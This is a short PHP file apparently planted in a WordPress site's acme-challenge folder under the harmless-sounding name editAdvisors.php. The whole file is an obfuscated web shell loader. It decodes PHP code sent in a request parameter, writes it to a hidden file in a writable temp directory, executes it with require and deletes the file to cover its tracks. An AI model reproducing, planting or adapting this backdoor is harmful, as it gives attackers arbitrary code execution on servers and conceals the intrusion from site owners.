File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/b/a/d/d/editAdvisors.php
<?php
if(!empty($_REQUEST["pt\x72"])){
$flg = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm"]);
$component = $_REQUEST["pt\x72"];
$component = explode ( "." , $component ) ;
$property_set = '';
$salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen( $salt9);
$w = 0;
array_walk( $component, function( $v1) use( &$property_set, &$w, $salt9, $lenS) {
$chS = ord( $salt9[$w % $lenS]);
$d =( ( int)$v1 - $chS -( $w % 10)) ^ 45;
$property_set.=chr( $d);
$w++;
});
foreach ($flg as $obj) {
if (max(0, is_dir($obj) * is_writable($obj))) {
$itm = str_replace("{var_dir}", $obj, "{var_dir}/.ent");
if (file_put_contents($itm, $property_set)) {
require $itm;
unlink($itm);
exit;
}
}
}
}